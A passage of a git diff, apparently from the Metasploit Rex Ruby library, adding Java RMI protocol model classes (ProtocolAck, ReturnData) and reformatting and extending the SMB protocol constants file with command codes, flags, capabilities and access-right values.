Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb new file mode 100644 index 000000000000..52a48506be2c --- /dev/null +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI protocol ack input stream + class ProtocolAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PROTOCOL_ACK + raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + end + + stream_id + end + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb new file mode 100644 index 000000000000..fe99d23a6e8e --- /dev/null +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return data stream + class ReturnData < Element + + # @!attribute stream_id + # @return [Fixnum] the stream id + attr_accessor :stream_id + # @!attribute return value + # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + attr_accessor :return_value + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == RETURN_DATA + raise ::RuntimeError, 'Failed to decode ReturnData stream id' + end + + stream_id + end + + # Reads and deserializes the return value from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_return_value(io) + return_value = Rex::Java::Serialization::Model::Stream.decode(io) + + return_value + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the return_value field + # + # @return [String] + def encode_return_value + return_value.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/smb.rb b/lib/rex/proto/smb.rb index d9c05359104e..e62785e05f99 100644 --- a/lib/rex/proto/smb.rb +++ b/lib/rex/proto/smb.rb @@ -5,5 +5,4 @@ require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' require 'rex/proto/smb/client' -require 'rex/proto/smb/server' require 'rex/proto/smb/simpleclient' diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index 8de82fd4dd7b..b58be1f50ee6 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -4,1058 +4,1399 @@ module Proto module SMB class Constants -require 'rex/struct2' - -# SMB Commands -SMB_COM_CREATE_DIRECTORY = 0x00 -SMB_COM_DELETE_DIRECTORY = 0x01 -SMB_COM_OPEN = 0x02 -SMB_COM_CREATE = 0x03 -SMB_COM_CLOSE = 0x04 -SMB_COM_FLUSH = 0x05 -SMB_COM_DELETE = 0x06 -SMB_COM_RENAME = 0x07 -SMB_COM_QUERY_INFORMATION = 0x08 -SMB_COM_SET_INFORMATION = 0x09 -SMB_COM_READ = 0x0a -SMB_COM_WRITE = 0x0b -SMB_COM_LOCK_BYTE_RANGE = 0x0c -SMB_COM_UNLOCK_BYTE_RANGE = 0x0d -SMB_COM_CREATE_TEMPORARY = 0x0e -SMB_COM_CREATE_NEW = 0x0f -SMB_COM_CHECK_DIRECTORY = 0x10 -SMB_COM_PROCESS_EXIT = 0x11 -SMB_COM_SEEK = 0x12 -SMB_COM_LOCK_AND_READ = 0x13 -SMB_COM_WRITE_AND_UNLOCK = 0x14 -SMB_COM_READ_RAW = 0x1a -SMB_COM_READ_MPX = 0x1b -SMB_COM_READ_MPX_SECONDARY = 0x1c -SMB_COM_WRITE_RAW = 0x1d -SMB_COM_WRITE_MPX = 0x1e -SMB_COM_WRITE_MPX_SECONDARY = 0x1f -SMB_COM_WRITE_COMPLETE = 0x20 -SMB_COM_QUERY_SERVER = 0x21 -SMB_COM_SET_INFORMATION2 = 0x22 -SMB_COM_QUERY_INFORMATION2 = 0x23 -SMB_COM_LOCKING_ANDX = 0x24 -SMB_COM_TRANSACTION = 0x25 -SMB_COM_TRANSACTION_SECONDARY = 0x26 -SMB_COM_IOCTL = 0x27 -SMB_COM_IOCTL_SECONDARY = 0x28 -SMB_COM_COPY = 0x29 -SMB_COM_MOVE = 0x2a -SMB_COM_ECHO = 0x2b -SMB_COM_WRITE_AND_CLOSE = 0x2c -SMB_COM_OPEN_ANDX = 0x2d -SMB_COM_READ_ANDX = 0x2e -SMB_COM_WRITE_ANDX = 0x2f -SMB_COM_NEW_FILE_SIZE = 0x30 -SMB_COM_CLOSE_AND_TREE_DISC = 0x31 -SMB_COM_TRANSACTION2 = 0x32 -SMB_COM_TRANSACTION2_SECONDARY = 0x33 -SMB_COM_FIND_CLOSE2 = 0x34 -SMB_COM_FIND_NOTIFY_CLOSE = 0x35 -SMB_COM_TREE_CONNECT = 0x70 -SMB_COM_TREE_DISCONNECT = 0x71 -SMB_COM_NEGOTIATE = 0x72 -SMB_COM_SESSION_SETUP_ANDX = 0x73 -SMB_COM_LOGOFF_ANDX = 0x74 -SMB_COM_TREE_CONNECT_ANDX = 0x75 -SMB_COM_QUERY_INFORMATION_DISK = 0x80 -SMB_COM_SEARCH = 0x81 -SMB_COM_FIND = 0x82 -SMB_COM_FIND_UNIQUE = 0x83 -SMB_COM_FIND_CLOSE = 0x84 -SMB_COM_NT_TRANSACT = 0xa0 -SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 -SMB_COM_NT_CREATE_ANDX = 0xa2 -SMB_COM_NT_CANCEL = 0xa4 -SMB_COM_NT_RENAME = 0xa5 -SMB_COM_OPEN_PRINT_FILE = 0xc0 -SMB_COM_WRITE_PRINT_FILE = 0xc1 -SMB_COM_CLOSE_PRINT_FILE = 0xc2 -SMB_COM_GET_PRINT_QUEUE = 0xc3 -SMB_COM_READ_BULK = 0xd8 -SMB_COM_WRITE_BULK = 0xd9 -SMB_COM_NO_ANDX_COMMAND = 0xff - - -# SMB Version 2 Commands -SMB2_OP_NEGPROT = 0x00 -SMB2_OP_SESSSETUP = 0x01 -SMB2_OP_LOGOFF = 0x02 -SMB2_OP_TCON = 0x03 -SMB2_OP_TDIS = 0x04 -SMB2_OP_CREATE = 0x05 -SMB2_OP_CLOSE = 0x06 -SMB2_OP_FLUSH = 0x07 -SMB2_OP_READ = 0x08 -SMB2_OP_WRITE = 0x09 -SMB2_OP_LOCK = 0x0a -SMB2_OP_IOCTL = 0x0b -SMB2_OP_CANCEL = 0x0c -SMB2_OP_KEEPALIVE = 0x0d -SMB2_OP_FIND = 0x0e -SMB2_OP_NOTIFY = 0x0f -SMB2_OP_GETINFO = 0x10 -SMB2_OP_SETINFO = 0x11 -SMB2_OP_BREAK = 0x12 - - -# SMB_COM_NT_TRANSACT Subcommands -NT_TRANSACT_CREATE = 1 # File open/create -NT_TRANSACT_IOCTL = 2 # Device IOCTL -NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor -NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch -NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) -NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security -NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota -NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota - -# Open Modes -OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. -OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. -OPEN_MODE_OPEN = 0x01 # Open the file if the file exists -OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists - -# Shared Access -OPEN_SHARE_COMPAT = 0x00 -OPEN_SHARE_DENY_EXCL = 0x10 -OPEN_SHARE_DENY_WRITE = 0x20 -OPEN_SHARE_DENY_READEXEC = 0x30 -OPEN_SHARE_DENY_NONE = 0x40 - - -# File Access -OPEN_ACCESS_READ = 0x00 -OPEN_ACCESS_WRITE = 0x01 -OPEN_ACCESS_READWRITE = 0x02 -OPEN_ACCESS_EXEC = 0x03 - -# Create Disposition -CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file -CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist -CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists -CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist -CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist -CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist - - -# Wildcard NetBIOS name -NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' - - - - # 0 = open2 - # 1 = find_first - # 2 = find_next - # 3 = query_fs_info - # 4 = set_fs_quota - # 5 = query_path_info - # 6 = set_path_info - # 7 = query_file_info - # 8 = set_file_info - # 9 = fsctl - # 10 = ioctl2 - # 11 = find_notify_first - # 12 = find_notify_next - # 13 = create_directory - # 14 = session_setup - - -# SMB_COM_TRANSACTION2 Commands -TRANS2_OPEN2 = 0 -TRANS2_FIND_FIRST2 = 1 -TRANS2_FIND_NEXT2 = 2 -TRANS2_QUERY_FS_INFO = 3 -TRANS2_SET_PATH_INFO = 6 - -TRANS2_CREATE_DIRECTORY = 13 - -# SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels -SMB_INFO_ALLOCATION = 1 -SMB_INFO_VOLUME = 2 -SMB_QUERY_FS_VOLUME_INFO = 0x102 -SMB_QUERY_FS_SIZE_INFO = 0x103 -SMB_QUERY_FS_DEVICE_INFO = 0x104 -SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 - -# SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels -SMB_INFO_STANDARD = 1 -SMB_INFO_QUERY_EA_SIZE = 2 -SMB_INFO_QUERY_EAS_FROM_LIST = 3 -SMB_INFO_QUERY_ALL_EAS = 4 -SMB_INFO_IS_NAME_VALID = 6 -SMB_QUERY_FILE_BASIC_INFO = 0x101 -SMB_QUERY_FILE_STANDARD_INFO = 0x102 -SMB_QUERY_FILE_EA_INFO = 0x103 -SMB_QUERY_FILE_NAME_INFO = 0x104 -SMB_QUERY_FILE_ALL_INFO = 0x107 -SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 -SMB_QUERY_FILE_STREAM_INFO = 0x109 -SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B -SMB_QUERY_FILE_UNIX_BASIC = 0x200 -SMB_QUERY_FILE_UNIX_LINK = 0x201 -SMB_INFO_PASSTHROUGH = 0x1000 - - -# Device Types -FILE_DEVICE_BEEP = 0x00000001 -FILE_DEVICE_CD_ROM = 0x00000002 -FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 -FILE_DEVICE_CONTROLLER = 0x00000004 -FILE_DEVICE_DATALINK = 0x00000005 -FILE_DEVICE_DFS = 0x00000006 -FILE_DEVICE_DISK = 0x00000007 -FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 -FILE_DEVICE_FILE_SYSTEM = 0x00000009 -FILE_DEVICE_INPORT_PORT = 0x0000000A -FILE_DEVICE_KEYBOARD = 0x0000000B -FILE_DEVICE_MAILSLOT = 0x0000000C -FILE_DEVICE_MIDI_IN = 0x0000000D -FILE_DEVICE_MIDI_OUT = 0x0000000E -FILE_DEVICE_MOUSE = 0x0000000F -FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 -FILE_DEVICE_NAMED_PIPE = 0x00000011 -FILE_DEVICE_NETWORK = 0x00000012 -FILE_DEVICE_NETWORK_BROWSER = 0x00000013 -FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 -FILE_DEVICE_NULL = 0x00000015 -FILE_DEVICE_PARALLEL_PORT = 0x00000016 -FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 -FILE_DEVICE_PRINTER = 0x00000018 -FILE_DEVICE_SCANNER = 0x00000019 -FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A -FILE_DEVICE_SERIAL_PORT = 0x0000001B -FILE_DEVICE_SCREEN = 0x0000001C -FILE_DEVICE_SOUND = 0x0000001D -FILE_DEVICE_STREAMS = 0x0000001E -FILE_DEVICE_TAPE = 0x0000001F -FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 -FILE_DEVICE_TRANSPORT = 0x00000021 -FILE_DEVICE_UNKNOWN = 0x00000022 -FILE_DEVICE_VIDEO = 0x00000023 -FILE_DEVICE_VIRTUAL_DISK = 0x00000024 -FILE_DEVICE_WAVE_IN = 0x00000025 -FILE_DEVICE_WAVE_OUT = 0x00000026 -FILE_DEVICE_8042_PORT = 0x00000027 -FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 -FILE_DEVICE_BATTERY = 0x00000029 -FILE_DEVICE_BUS_EXTENDER = 0x0000002A -FILE_DEVICE_MODEM = 0x0000002B -FILE_DEVICE_VDM = 0x0000002C - -# File and Device Attributes -FILE_REMOVABLE_MEDIA = 0x00000001 -FILE_READ_ONLY_DEVICE = 0x00000002 -FILE_FLOPPY_DISKETTE = 0x00000004 -FILE_WRITE_ONE_MEDIA = 0x00000008 -FILE_REMOTE_DEVICE = 0x00000010 -FILE_DEVICE_IS_MOUNTED = 0x00000020 -FILE_VIRTUAL_VOLUME = 0x00000040 -FILE_CASE_SENSITIVE_SEARCH = 0x00000001 -FILE_CASE_PRESERVED_NAMES = 0x00000002 -FILE_PERSISTENT_ACLS = 0x00000004 -FILE_FILE_COMPRESSION = 0x00000008 -FILE_VOLUME_QUOTAS = 0x00000010 -FILE_VOLUME_IS_COMPRESSED = 0x00008000 - -# SMB_EXT_FILE_ATTR -# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx -SMB_EXT_FILE_ATTR_READONLY = 0x00000001 -SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 -SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 -SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 -SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 -SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 -SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 -SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 -SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 -SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 -SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 -SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 -SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 -SMB_EXT_FILE_NO_BUFFERING = 0x20000000 -SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 - -# SMB Error Codes -SMB_STATUS_SUCCESS = 0x00000000 -SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 -SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 -SMB_STATUS_ACCESS_DENIED = 0xC0000022 -SMB_STATUS_LOGON_FAILURE = 0xC000006D - -# SMB Dialect Compatibility -DIALECT = {} - -DIALECT['PC NETWORK PROGRAM 1.0'] = [ - SMB_COM_CHECK_DIRECTORY, - SMB_COM_CLOSE, - SMB_COM_CLOSE_PRINT_FILE, - SMB_COM_CREATE, - SMB_COM_CREATE_DIRECTORY, - SMB_COM_CREATE_NEW, - SMB_COM_CREATE_TEMPORARY, - SMB_COM_DELETE, - SMB_COM_DELETE_DIRECTORY, - SMB_COM_FLUSH, - SMB_COM_GET_PRINT_QUEUE, - SMB_COM_LOCK_BYTE_RANGE, - SMB_COM_NEGOTIATE, - SMB_COM_OPEN, - SMB_COM_OPEN_PRINT_FILE, - SMB_COM_PROCESS_EXIT, - SMB_COM_QUERY_INFORMATION, - SMB_COM_QUERY_INFORMATION_DISK, - SMB_COM_READ, - SMB_COM_RENAME, - SMB_COM_SEARCH, - SMB_COM_SEEK, - SMB_COM_SET_INFORMATION, - SMB_COM_TREE_CONNECT, - SMB_COM_TREE_DISCONNECT, - SMB_COM_UNLOCK_BYTE_RANGE, - SMB_COM_WRITE, - SMB_COM_WRITE_PRINT_FILE -] - -DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ - SMB_COM_COPY, - SMB_COM_ECHO, - SMB_COM_FIND, - SMB_COM_FIND_CLOSE, - SMB_COM_FIND_UNIQUE, - SMB_COM_IOCTL, - SMB_COM_IOCTL_SECONDARY, - SMB_COM_LOCK_AND_READ, - SMB_COM_LOCKING_ANDX, - SMB_COM_MOVE, - SMB_COM_OPEN_ANDX, - SMB_COM_QUERY_INFORMATION2, - SMB_COM_READ_ANDX, - SMB_COM_READ_MPX, - SMB_COM_READ_RAW, - SMB_COM_SESSION_SETUP_ANDX, - SMB_COM_SET_INFORMATION2, - SMB_COM_TRANSACTION, - SMB_COM_TRANSACTION_SECONDARY, - SMB_COM_TREE_CONNECT_ANDX, - SMB_COM_WRITE_AND_CLOSE, - SMB_COM_WRITE_AND_UNLOCK, - SMB_COM_WRITE_ANDX, - SMB_COM_WRITE_COMPLETE, - SMB_COM_WRITE_MPX, - SMB_COM_WRITE_MPX_SECONDARY, - SMB_COM_WRITE_RAW -] - -DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ - SMB_COM_FIND_CLOSE2, - SMB_COM_LOGOFF_ANDX, - SMB_COM_TRANSACTION2, - SMB_COM_TRANSACTION2_SECONDARY -] - -DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ - SMB_COM_NT_CANCEL, - SMB_COM_NT_CREATE_ANDX, - SMB_COM_NT_RENAME, - SMB_COM_NT_TRANSACT, - SMB_COM_NT_TRANSACT_SECONDARY -] - -# Create a NetBIOS session packet template -def self.make_nbs (template) - Rex::Struct2::CStructTemplate.new( - [ 'uint8', 'Type', 0 ], - [ 'uint8', 'Flags', 0 ], - [ 'uint16n', 'PayloadLen', 0 ], - [ 'template', 'Payload', template ] + require 'rex/struct2' + + # SMB Commands + SMB_COM_CREATE_DIRECTORY = 0x00 + SMB_COM_DELETE_DIRECTORY = 0x01 + SMB_COM_OPEN = 0x02 + SMB_COM_CREATE = 0x03 + SMB_COM_CLOSE = 0x04 + SMB_COM_FLUSH = 0x05 + SMB_COM_DELETE = 0x06 + SMB_COM_RENAME = 0x07 + SMB_COM_QUERY_INFORMATION = 0x08 + SMB_COM_SET_INFORMATION = 0x09 + SMB_COM_READ = 0x0a + SMB_COM_WRITE = 0x0b + SMB_COM_LOCK_BYTE_RANGE = 0x0c + SMB_COM_UNLOCK_BYTE_RANGE = 0x0d + SMB_COM_CREATE_TEMPORARY = 0x0e + SMB_COM_CREATE_NEW = 0x0f + SMB_COM_CHECK_DIRECTORY = 0x10 + SMB_COM_PROCESS_EXIT = 0x11 + SMB_COM_SEEK = 0x12 + SMB_COM_LOCK_AND_READ = 0x13 + SMB_COM_WRITE_AND_UNLOCK = 0x14 + SMB_COM_READ_RAW = 0x1a + SMB_COM_READ_MPX = 0x1b + SMB_COM_READ_MPX_SECONDARY = 0x1c + SMB_COM_WRITE_RAW = 0x1d + SMB_COM_WRITE_MPX = 0x1e + SMB_COM_WRITE_MPX_SECONDARY = 0x1f + SMB_COM_WRITE_COMPLETE = 0x20 + SMB_COM_QUERY_SERVER = 0x21 + SMB_COM_SET_INFORMATION2 = 0x22 + SMB_COM_QUERY_INFORMATION2 = 0x23 + SMB_COM_LOCKING_ANDX = 0x24 + SMB_COM_TRANSACTION = 0x25 + SMB_COM_TRANSACTION_SECONDARY = 0x26 + SMB_COM_IOCTL = 0x27 + SMB_COM_IOCTL_SECONDARY = 0x28 + SMB_COM_COPY = 0x29 + SMB_COM_MOVE = 0x2a + SMB_COM_ECHO = 0x2b + SMB_COM_WRITE_AND_CLOSE = 0x2c + SMB_COM_OPEN_ANDX = 0x2d + SMB_COM_READ_ANDX = 0x2e + SMB_COM_WRITE_ANDX = 0x2f + SMB_COM_NEW_FILE_SIZE = 0x30 + SMB_COM_CLOSE_AND_TREE_DISC = 0x31 + SMB_COM_TRANSACTION2 = 0x32 + SMB_COM_TRANSACTION2_SECONDARY = 0x33 + SMB_COM_FIND_CLOSE2 = 0x34 + SMB_COM_FIND_NOTIFY_CLOSE = 0x35 + SMB_COM_TREE_CONNECT = 0x70 + SMB_COM_TREE_DISCONNECT = 0x71 + SMB_COM_NEGOTIATE = 0x72 + SMB_COM_SESSION_SETUP_ANDX = 0x73 + SMB_COM_LOGOFF_ANDX = 0x74 + SMB_COM_TREE_CONNECT_ANDX = 0x75 + SMB_COM_QUERY_INFORMATION_DISK = 0x80 + SMB_COM_SEARCH = 0x81 + SMB_COM_FIND = 0x82 + SMB_COM_FIND_UNIQUE = 0x83 + SMB_COM_FIND_CLOSE = 0x84 + SMB_COM_NT_TRANSACT = 0xa0 + SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 + SMB_COM_NT_CREATE_ANDX = 0xa2 + SMB_COM_NT_CANCEL = 0xa4 + SMB_COM_NT_RENAME = 0xa5 + SMB_COM_OPEN_PRINT_FILE = 0xc0 + SMB_COM_WRITE_PRINT_FILE = 0xc1 + SMB_COM_CLOSE_PRINT_FILE = 0xc2 + SMB_COM_GET_PRINT_QUEUE = 0xc3 + SMB_COM_READ_BULK = 0xd8 + SMB_COM_WRITE_BULK = 0xd9 + SMB_COM_NO_ANDX_COMMAND = 0xff + + + # SMB Version 2 Commands + SMB2_OP_NEGPROT = 0x00 + SMB2_OP_SESSSETUP = 0x01 + SMB2_OP_LOGOFF = 0x02 + SMB2_OP_TCON = 0x03 + SMB2_OP_TDIS = 0x04 + SMB2_OP_CREATE = 0x05 + SMB2_OP_CLOSE = 0x06 + SMB2_OP_FLUSH = 0x07 + SMB2_OP_READ = 0x08 + SMB2_OP_WRITE = 0x09 + SMB2_OP_LOCK = 0x0a + SMB2_OP_IOCTL = 0x0b + SMB2_OP_CANCEL = 0x0c + SMB2_OP_KEEPALIVE = 0x0d + SMB2_OP_FIND = 0x0e + SMB2_OP_NOTIFY = 0x0f + SMB2_OP_GETINFO = 0x10 + SMB2_OP_SETINFO = 0x11 + SMB2_OP_BREAK = 0x12 + + + # SMB_COM_NT_TRANSACT Subcommands + NT_TRANSACT_CREATE = 1 # File open/create + NT_TRANSACT_IOCTL = 2 # Device IOCTL + NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor + NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch + NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) + NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security + NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota + NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota + + # NT Flags bits - cifs6.txt section 3.1.1 + FLAGS_REQ_RES = 0x80 + FLAGS_NOTIFY = 0x40 + FLAGS_OP_LOCKS = 0x20 + FLAGS_PATH_NORMALIZED = 0x10 + FLAGS_CASE_SENSITIVE = 0x8 + FLAGS_RESERVED = 0x4 + FLAGS_POSTED = 0x2 + FLAGS_LOCK_SUPPORT = 0x1 + + # NT Flags2 bits - cifs6.txt section 3.1.2 + FLAGS2_LONG_PATH_COMPONENTS = 0x0001 + FLAGS2_EXTENDED_ATTRIBUTES = 0x0002 + FLAGS2_SMB_SECURITY_SIGNATURES = 0x0004 + FLAGS2_SMB_SECURITY_SIGNATURES_REQUIRED = 0x0010 + FLAGS2_IS_LONG_NAME = 0x0040 + FLAGS2_EXTENDED_SECURITY = 0x0800 + FLAGS2_DFS_PATHNAMES = 0x1000 + FLAGS2_READ_PERMIT_EXECUTE = 0x2000 + FLAGS2_32_BIT_ERROR_CODES = 0x4000 + FLAGS2_UNICODE_STRINGS = 0x8000 + FLAGS2_WIN2K_SIGNATURE = 0xC852 + + # SMB Negotiate Security Modes + NEG_SECURITY_SHARE = 1 + NEG_SECURITY_PASSWORD = 2 + + # SMB Setup Actions + SMB_SETUP_GUEST = 1 + SMB_SETUP_USE_LANMAN_KEY = 2 + + # SMB Negotiate Capabilities + # The server supports SMB_COM_READ_RAW and SMB_COM_WRITE_RAW + CAP_RAW_MODE = 0x0001 + # The server supports SMB_COM_READ_MPX and SMB_COM_WRITE_MPX + CAP_MPX_MODE = 0x0002 + # The server supports Unicode strings + CAP_UNICODE = 0x0004 + # The server supports large files with 64 bit offsets + CAP_LARGE_FILES = 0x0008 + # The server supports the SMBs particular to the NT LM 0.12 dialect + CAP_NT_SMBS = 0x0010 + # The sever supports remote API requests via RPC + CAP_RPC_REMOTE_APIS = 0x0020 + # The server can respond with 32 bit status codes in Status.Status + CAP_STATUS32 = 0x0040 + # The server supports level 2 oplocks + CAP_LEVEL_II_OPLOCKS = 0x0080 + # The server supports the SMB_COM_LOCK_AND_READ SMB + CAP_LOCK_AND_READ = 0x0100 + CAP_NT_FIND = 0x0200 + # This server is DFS aware + CAP_DFS = 0x1000 + CAP_PASSTHRU = 0x2000 + CAP_LARGE_READX = 0x4000 + CAP_LARGE_WRITEX = 0x8000 + CAP_UNIX_EXTENSIONS = 0x800000 + + # Open Modes + OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. + OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. + OPEN_MODE_OPEN = 0x01 # Open the file if the file exists + OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists + + # Shared Access + OPEN_SHARE_COMPAT = 0x00 + OPEN_SHARE_DENY_EXCL = 0x10 + OPEN_SHARE_DENY_WRITE = 0x20 + OPEN_SHARE_DENY_READEXEC = 0x30 + OPEN_SHARE_DENY_NONE = 0x40 + + # OpLock Levels + NO_OPLOCK = 0x00 + EXCLUSIVE_OPLOCK = 0x01 + BATCH_OPLOCK = 0x02 + LEVEL_II_OPLOCK = 0x03 + + # Dispositions, action to take if the file already exists or if the file is a new file and does not already exist + FILE_SUPERSEDE = 0x00000000 + FILE_OPEN = 0x00000001 + FILE_CREATE = 0x00000002 + FILE_OPEN_IF = 0x00000003 + FILE_OVERWRITE = 0x00000004 + FILE_OVERWRITE_IF = 0x00000005 + + # File Access + OPEN_ACCESS_READ = 0x00 + OPEN_ACCESS_WRITE = 0x01 + OPEN_ACCESS_READWRITE = 0x02 + OPEN_ACCESS_EXEC = 0x03 + + # Create Disposition + CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file + CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist + CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists + CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist + CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist + CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist + + # Access Rights + SMB_READ_ACCESS = 1 + SMB_WRITE_ACCESS = 2 + SMB_APPEND_ACCESS = 4 + SMB_READ_EA_ACCESS = 8 + SMB_WRITE_EA_ACCESS = 0x10 + SMB_EXECUTE_ACCESS = 0x20 + SMB_DELETE_CHILD_ACCESS = 0x40 + SMB_READ_ATTRIBUTES_ACCESS = 0x80 + SMB_WRITE_ATTRIBUTES_ACCESS = 0x100 + SMB_DELETE_ACCESS = 0x10000 + SMB_READ_CONTROL_ACCESS = 0x20000 + SMB_WRITE_DAC_ACCESS = 0x40000 + SMB_WRITE_OWNER_ACCESS = 0x80000 + SMB_SYNC_ACCESS = 0x100000 + + # Wildcard NetBIOS name + NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' + + + + # 0 = open2 + # 1 = find_first + # 2 = find_next + # 3 = query_fs_info + # 4 = set_fs_quota + # 5 = query_path_info + # 6 = set_path_info + # 7 = query_file_info + # 8 = set_file_info + # 9 = fsctl + # 10 = ioctl2 + # 11 = find_notify_first + # 12 = find_notify_next + # 13 = create_directory + # 14 = session_setup + + # SMB_COM_TRANSACTION2 SubCommands + TRANS2_OPEN2 = 0 + TRANS2_FIND_FIRST2 = 1 + TRANS2_FIND_NEXT2 = 2 + TRANS2_QUERY_FS_INFO = 3 + TRANS2_SET_FS_INFO = 4 + TRANS2_QUERY_PATH_INFO = 5 + TRANS2_SET_PATH_INFO = 6 + TRANS2_QUERY_FILE_INFO = 7 + TRANS2_SET_FILE_INFO = 8 + TRANS2_FSCTL = 9 + TRANS2_IOCTL2 = 10 + TRANS2_FIND_NOTIFY_FIRST = 11 + TRANS2_FIND_NOTIFY_NEXT = 12 + TRANS2_CREATE_DIRECTORY = 13 + TRANS2_SESSION_SETUP = 14 + 